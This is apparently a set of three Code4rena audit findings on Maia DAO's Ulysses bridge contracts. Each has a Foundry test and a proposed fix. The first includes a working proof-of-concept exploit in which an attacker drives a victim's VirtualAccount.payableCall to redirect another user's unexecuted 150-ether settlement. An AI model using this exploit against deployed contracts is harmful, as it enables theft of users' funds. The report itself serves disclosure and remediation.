Maia DAO - Ulysses - ether_sky's results

Lines of code

https://github.com/code-423n4/2023-09-maia/blob/f5ba4de628836b2a29f9b5fff59499690008c463/src/VirtualAccount.sol#L85 https://github.com/code-423n4/2023-09-maia/blob/f5ba4de628836b2a29f9b5fff59499690008c463/src/RootBridgeAgent.sol#L247-L251

Vulnerability details

Impact

Some settlements remain unexecuted in the root environment for various reasons. Consequently, users have the opportunity to retry their settlements. In the role of a malicious user, I can identify these unexecuted settlements and employ the payableCall function in the user's VirtualAccount to execute those payments on their behalf. Consequently, I can gain access to other people's funds.

Proof of Concept

Upon discovering an unexecuted settlement along with its nonce, I can access the complete information regarding that settlement. Subsequently, I can invoke the payableCall function of the user's VirtualAccount to execute the settlement.

        PayableCall[] memory calls = new PayableCall[](1);
        calls[0] = PayableCall({
            target: address(multicallBridgeAgent),
            callData: abi.encodeWithSignature(
                "retrySettlement(uint32,address,bytes,(uint256,uint256),bool)",
                settlementNonce,
                test, // We can assign the recipient address randomly.
                "",
                GasParams(0.5 ether, 0.5 ether),
                true
            ),
            value: 1 ether
        });

The following function can be called by anyone.

        IVirtualAccount(userVirtualAccount).payableCall{value: 1 ether}(calls);

Add the following test to test/ulysses-omnichain/RootTest.t.sol and run the test. It will demonstrate that a random test user can get funds belonging to other users.

    function testRetrySettlementOfOthers() public {
        // Set up
        testAddLocalTokenArbitrum();

        // Prepare data
        bytes memory packedData;

        {
            Multicall2.Call[] memory calls = new Multicall2.Call[](1);

            // Mock Omnichain dApp call
            calls[0] = Multicall2.Call({
                target: newAvaxAssetGlobalAddress,
                callData: abi.encodeWithSelector(
                    bytes4(0xa9059cbb),
                    mockApp,
                    0 ether
                )
            });

            // Output Params
            OutputParams memory outputParams = OutputParams(
                address(this),
                newAvaxAssetGlobalAddress,
                150 ether,
                0
            );

            // RLP Encode Calldata Call with no gas to bridge out and we top up.
            bytes memory data = abi.encode(calls, outputParams, avaxChainId);

            // Pack FuncId
            packedData = abi.encodePacked(bytes1(0x02), data);
        }

        address _user = address(this);

        // Get some gas.
        hevm.deal(_user, 1 ether);

        // Assure there is enough balance for mock action
        hevm.prank(address(rootPort));
        ERC20hTokenRoot(newAvaxAssetGlobalAddress).mint(
            address(rootPort),
            150 ether,
            rootChainId
        );
        hevm.prank(address(avaxPort));
        ERC20hTokenBranch(avaxMockAssethToken).mint(_user, 50 ether);

        // Mint Underlying Token.
        avaxMockAssetToken.mint(_user, 100 ether);

        // Prepare deposit info
        DepositInput memory depositInput = DepositInput({
            hToken: address(avaxMockAssethToken),
            token: address(avaxMockAssetToken),
            amount: 150 ether,
            deposit: 100 ether
        });

        //Set MockEndpoint _fallback mode ON
        MockEndpoint(lzEndpointAddress).toggleFallback(1);

        //GasParams
        GasParams memory gasParams = GasParams(0.5 ether, 0.5 ether);

        // Call Deposit function
        avaxMockAssetToken.approve(address(avaxPort), 100 ether);
        ERC20hTokenRoot(avaxMockAssethToken).approve(
            address(avaxPort),
            50 ether
        );
        avaxMulticallBridgeAgent.callOutSignedAndBridge{value: 1 ether}(
            payable(address(this)),
            packedData,
            depositInput,
            gasParams,
            false
        );

        //Set MockEndpoint _fallback mode OFF
        MockEndpoint(lzEndpointAddress).toggleFallback(0);

        uint32 settlementNonce = multicallBridgeAgent.settlementNonce() - 1;

        Settlement memory settlement = multicallBridgeAgent.getSettlementEntry(
            settlementNonce
        );

        require(
            settlement.status == STATUS_SUCCESS,
            "Settlement status should be success."
        );

        /**
            Currently, there is an unexecuted Settlement of '_user' with a value of '150 ether' in RootPort.
            And I will execute this agreement on behalf of '_user' and send the assets to another user 'test'. 
        */

        address test = address(0x5eDbd653a26cF64D4332133154954981F92C3f93);
        address testUserVirtualAccount = address(
            rootPort.fetchVirtualAccount(test)
        );
        PayableCall[] memory testCalls = new PayableCall[](0);
        // anyone can call this function (user -> test's virtualAccount)
        IVirtualAccount(testUserVirtualAccount).payableCall{value: 0 ether}(
            testCalls
        );

        require(
            MockERC20(avaxMockAssethToken).balanceOf(test) == 0,
            "test user has no assets"
        );
        // Get some gas.
        hevm.deal(_user, 1 ether);
        address userVirtualAccount = address(
            rootPort.fetchVirtualAccount(address(this))
        );

        PayableCall[] memory calls = new PayableCall[](1);
        calls[0] = PayableCall({
            target: address(multicallBridgeAgent),
            callData: abi.encodeWithSignature(
                "retrySettlement(uint32,address,bytes,(uint256,uint256),bool)",
                settlementNonce,
                test, // change the recepient address to 'test'
                "",
                GasParams(0.5 ether, 0.5 ether),
                true
            ),
            value: 1 ether
        });
        // anyone can call this function
        IVirtualAccount(userVirtualAccount).payableCall{value: 1 ether}(calls);

        require(
            MockERC20(avaxMockAssethToken).balanceOf(test) ==
                150000000000000000000,
            "test user received other's assets"
        );
    }

As evident, anyone can invoke another person's payableCall function.

Tools Used

Recommended Mitigation Steps

Replace function payableCall(PayableCall[] calldata calls) public payable returns (bytes[] memory returnData) with function payableCall(PayableCall[] calldata calls) public payable requiresApprovedCaller returns (bytes[] memory returnData).

Assessed type

Access Control

Lines of code

https://github.com/code-423n4/2023-09-maia/blob/f5ba4de628836b2a29f9b5fff59499690008c463/src/BaseBranchRouter.sol#L95-L100 https://github.com/code-423n4/2023-09-maia/blob/f5ba4de628836b2a29f9b5fff59499690008c463/src/BaseBranchRouter.sol#L167-L168 https://github.com/code-423n4/2023-09-maia/blob/f5ba4de628836b2a29f9b5fff59499690008c463/src/BranchBridgeAgent.sol#L224 https://github.com/code-423n4/2023-09-maia/blob/f5ba4de628836b2a29f9b5fff59499690008c463/src/BranchBridgeAgent.sol#L824 https://github.com/code-423n4/2023-09-maia/blob/f5ba4de628836b2a29f9b5fff59499690008c463/src/ArbitrumBranchPort.sol#L134

Vulnerability details

Impact

All branches have one core router and several subsidiary branches. The core branches handle system calls, and users can create deposits using subsidiary branches. The function utilized for creating deposits is the callOutAndBridge function. However, in the Arbitrum branch, this function is not available for use. This restriction has system-wide implications because the Arbitrum branch should function similarly to other local branches.

Proof of Concept

When a user attempts to make a deposit in other branches, the local hTokens are transferred from the user to the local branch port and subsequently burned. However, in Arbitrum, there is no differentiation between local and global hTokens. Consequently, they are sent directly to the root port. When a user invokes the callOutAndBridge function in a branch, it involves the transfer of hTokens and underlying tokens from the user to the router. Additionally, the router approves the local port to access and utilize these tokens. https://github.com/code-423n4/2023-09-maia/blob/f5ba4de628836b2a29f9b5fff59499690008c463/src/BaseBranchRouter.sol#L95

_transferAndApproveToken(_dParams.hToken, _dParams.token, _dParams.amount, _dParams.deposit);

https://github.com/code-423n4/2023-09-maia/blob/f5ba4de628836b2a29f9b5fff59499690008c463/src/BaseBranchRouter.sol#L167-L168

_hToken.safeTransferFrom(msg.sender, address(this), _amount - _deposit);
ERC20(_hToken).approve(_localPortAddress, _amount - _deposit);

_token.safeTransferFrom(msg.sender, address(this), _deposit);
ERC20(_token).approve(_localPortAddress, _deposit);

Then we call the 'callOutAndBridge' function within the bridge agent. Within this function, a deposit is created. https://github.com/code-423n4/2023-09-maia/blob/f5ba4de628836b2a29f9b5fff59499690008c463/src/BranchBridgeAgent.sol#L224

_createDeposit(_depositNonce, _refundee, _dParams.hToken, _dParams.token, _dParams.amount, _dParams.deposit);

https://github.com/code-423n4/2023-09-maia/blob/f5ba4de628836b2a29f9b5fff59499690008c463/src/BranchBridgeAgent.sol#L824

IPort(localPortAddress).bridgeOut(msg.sender, _hToken, _token, _amount, _deposit);

We've now reached the _bridgeOut function in ArbitrumBranchPort. https://github.com/code-423n4/2023-09-maia/blob/f5ba4de628836b2a29f9b5fff59499690008c463/src/ArbitrumBranchPort.sol#L134

IRootPort(rootPortAddress).bridgeToRootFromLocalBranch(_depositor, _localAddress, _amount - _deposit);

Here, the _depositor is the router, and ArbitrumBranchPort is authorized to access these tokens, but not RootPort. https://github.com/code-423n4/2023-09-maia/blob/f5ba4de628836b2a29f9b5fff59499690008c463/src/RootPort.sol#L301

_hToken.safeTransferFrom(_from, address(this), _amount);

Consequently, we are unable to bridge these tokens to the RootPort from _depositor.

Add test below to test/ulysses-omnichain/ArbitrumBranchTest.t.sol and run test. You could see that the test will be failed.

    function testCallOutAndBridge() public {
        testAddLocalTokenArbitrum();
        address _user = address(this);
        arbitrumNativeToken.mint(_user, 150 ether);
        // Approve Tokens
        arbitrumNativeToken.approve(address(localPortAddress), 50 ether);
        // Call deposit to port
        arbitrumMulticallBridgeAgent.depositToPort(
            address(arbitrumNativeToken),
            50 ether
        );

        require(
            MockERC20(arbitrumNativeToken).balanceOf(_user) == 100 ether,
            "_user has 100 underlying tokens"
        );
        require(
            MockERC20(newArbitrumAssetGlobalAddress).balanceOf(_user) ==
                50 ether,
            "_user has 50 global(local) tokens"
        );

        arbitrumNativeToken.approve(
            address(arbitrumMulticallRouter),
            100 ether
        );
        ERC20hTokenRoot(newArbitrumAssetGlobalAddress).approve(
            address(arbitrumMulticallRouter),
            50 ether
        );

        DepositInput memory depositInput = DepositInput({
            hToken: address(newArbitrumAssetGlobalAddress),
            token: address(arbitrumNativeToken),
            amount: 150 ether,
            deposit: 100 ether
        });
        GasParams memory gasParams = GasParams(0.5 ether, 0.5 ether);
        // Get some gas.
        hevm.deal(address(this), 1 ether);

        // test will be failed
        arbitrumMulticallRouter.callOutAndBridge{value: 1 ether}(
            "",
            depositInput,
            gasParams
        );
    }

Tools Used

Recommended Mitigation Steps

Change this

IRootPort(rootPortAddress).bridgeToRootFromLocalBranch(_depositor, _localAddress, _amount - _deposit);

with

_localAddress.safeTransferFrom(_depositor, address(this), _amount - _deposit);
ERC20(_localAddress).approve(rootPortAddress, _amount - _deposit);
IRootPort(rootPortAddress).bridgeToRootFromLocalBranch(address(this), _localAddress, _amount - _deposit);

You can observe that the test will pass successfully. It's important to note that when users attempt to use the callOutAndBridge function within the bridge agent, they allow the local port to access their funds, just as in other branches.

Assessed type

Token-Transfer

Lines of code

https://github.com/code-423n4/2023-09-maia/blob/f5ba4de628836b2a29f9b5fff59499690008c463/src/RootBridgeAgent.sol#L582-L584 https://github.com/code-423n4/2023-09-maia/blob/f5ba4de628836b2a29f9b5fff59499690008c463/src/RootBridgeAgent.sol#L709

Vulnerability details

Impact

When a user has some unexecuted deposits and attempts to retrieve them, two scenarios may arise.

• If the retrieval is successful, the user can proceed to redeem the deposit.
• If the retrieval fails due to cross-chain issues, the user is unable to redeem the deposit.

In both cases, the user has the option to attempt the deposit process again. However, user loses the ability to retry the deposit further. Moreover, if he makes an unsuccessful retry attempt, he also forfeit the option to redeem the deposit. To redeem the deposit, he must initiate the retrieve process again. This situation can lead to the loss of funds spent on gas and disrupt the operation of user applications that rely on successful cross-chain function execution.

Proof of Concept

When a user attempts to retrieve a deposit, the executionState is changed to STATUS_RETRIEVE.

if (executionState[_srcChainId][nonce] == STATUS_READY) {
   executionState[_srcChainId][nonce] = STATUS_RETRIEVE;
}

Consequently, when the user tries to retry the deposit, and the state is not STATUS_READY, the transaction will be reverted.

if (executionState[_srcChainId][nonce] != STATUS_READY) {
    revert AlreadyExecutedTransaction();
}

Once the STATUS_RETRIEVE state is set, there is no method to revert it or change it back.

Add test below to test/ulysses-omnichain/RootTest.t.sol and run test.

    function testRetryDepositAfterRetrieve() public {
        // Set up
        testAddLocalTokenArbitrum();
        address _user = address(this);

        // Assure there is enough balance for mock action
        hevm.prank(address(rootPort));
        ERC20hTokenRoot(newAvaxAssetGlobalAddress).mint(
            address(rootPort),
            150 ether,
            rootChainId
        );
        hevm.prank(address(avaxPort));
        ERC20hTokenBranch(avaxMockAssethToken).mint(_user, 50 ether);

        // Mint Underlying Token.
        avaxMockAssetToken.mint(_user, 100 ether);

        // Prepare deposit info
        DepositInput memory depositInput = DepositInput({
            hToken: address(avaxMockAssethToken),
            token: address(avaxMockAssetToken),
            amount: 150 ether,
            deposit: 100 ether
        });

        // before deposit, _user has 50 ether hTokens.
        require(
            MockERC20(avaxMockAssethToken).balanceOf(_user) == 50 ether,
            "_user has 50 ether hToken"
        );

        // Get some gas.
        hevm.deal(_user, 1 ether);
        //GasParams
        GasParams memory gasParams = GasParams(0.5 ether, 0.5 ether);

        // Call Deposit function
        avaxMockAssetToken.approve(address(avaxPort), 100 ether);
        ERC20hTokenRoot(avaxMockAssethToken).approve(
            address(avaxPort),
            50 ether
        );

        //Set MockEndpoint _fallback mode OFF
        MockEndpoint(lzEndpointAddress).toggleFallback(0);
        avaxMulticallBridgeAgent.callOutSignedAndBridge{value: 1 ether}(
            payable(address(this)),
            "",
            depositInput,
            gasParams,
            false
        );

        // after deposit, _user has no hTokens.
        require(
            MockERC20(avaxMockAssethToken).balanceOf(_user) == 0,
            "_user has no hTokens"
        );

        uint32 depositNonce = avaxMulticallBridgeAgent.depositNonce() - 1;
        uint16 localChainId = avaxMulticallBridgeAgent.localChainId();
        // Deposit was not executed on root. 0 = STATUS_READY
        require(
            multicallBridgeAgent.executionState(localChainId, depositNonce) ==
                0,
            "Deposit was not executed on root."
        );

        address userVirtualAccount = address(
            rootPort.fetchVirtualAccount(_user)
        );
        // users do not have a global hToken, so they must be able to retry or redeem tokens at a branch.
        require(
            MockERC20(newAvaxAssetGlobalAddress).balanceOf(
                userVirtualAccount
            ) == 0,
            "users do not have a global hToken, so they must be able to retry or redeem tokens at a branch."
        );

        //Set MockEndpoint _fallback mode ON
        MockEndpoint(lzEndpointAddress).toggleFallback(1);
        // Get some gas.
        hevm.deal(_user, 1 ether);
        avaxMulticallBridgeAgent.retrieveDeposit{value: 1 ether}(
            depositNonce,
            gasParams
        );
        // Deposit memory deposit = avaxMulticallBridgeAgent.getDepositEntry(
        //     depositNonce
        // );

        // Execution State is STATUS_RETRIEVE on root. 2 = STATUS_RETRIEVE
        require(
            multicallBridgeAgent.executionState(localChainId, depositNonce) ==
                2,
            "Execution State is STATUS_RETRIEVE on root."
        );

        // _user attempts to deposit again
        //Set MockEndpoint _fallback mode ON
        MockEndpoint(lzEndpointAddress).toggleFallback(1);
        // Get some gas.
        hevm.deal(_user, 1 ether);
        avaxMulticallBridgeAgent.retryDeposit{value: 1 ether}(
            true,
            depositNonce,
            "",
            gasParams,
            false
        );

        // Execution State is still STATUS_RETRIEVE on root i.e. we can't retry deposit on root
        require(
            multicallBridgeAgent.executionState(localChainId, depositNonce) ==
                2,
            "Execution State is STATUS_RETRIEVE on root."
        );

        // Get some gas.
        hevm.deal(_user, 1 ether);

        // Users are unable to redeem their deposits as well.
        hevm.expectRevert(
            abi.encodeWithSignature("DepositRedeemUnavailable()")
        );
        avaxMulticallBridgeAgent.redeemDeposit(depositNonce);
    }

Tools Used

Recommended Mitigation Steps

Replace this

if (executionState[_srcChainId][nonce] != STATUS_READY) {
    revert AlreadyExecutedTransaction();
}

with

if (executionState[_srcChainId][nonce] == STATUS_DONE) {
    revert AlreadyExecutedTransaction();
}

in RootBridgeAgent.

Once a user successfully redeems a deposit on a branch, the deposit information is removed, and further retry attempts are not allowed. Therefore, when a retry request is received, it implies that valid deposit information exists on a branch, allowing the safe processing of deposits on the root, as long as the state is not STATUS_DONE.

If you concur with this perspective, there are additional areas where this modification can be implemented. https://github.com/code-423n4/2023-09-maia/blob/f5ba4de628836b2a29f9b5fff59499690008c463/src/BranchBridgeAgent.sol#L624 https://github.com/code-423n4/2023-09-maia/blob/f5ba4de628836b2a29f9b5fff59499690008c463/src/BranchBridgeAgent.sol#L646 https://github.com/code-423n4/2023-09-maia/blob/f5ba4de628836b2a29f9b5fff59499690008c463/src/RootBridgeAgent.sol#L495 https://github.com/code-423n4/2023-09-maia/blob/f5ba4de628836b2a29f9b5fff59499690008c463/src/RootBridgeAgent.sol#L518 https://github.com/code-423n4/2023-09-maia/blob/f5ba4de628836b2a29f9b5fff59499690008c463/src/RootBridgeAgent.sol#L622

Assessed type

Invalid Validation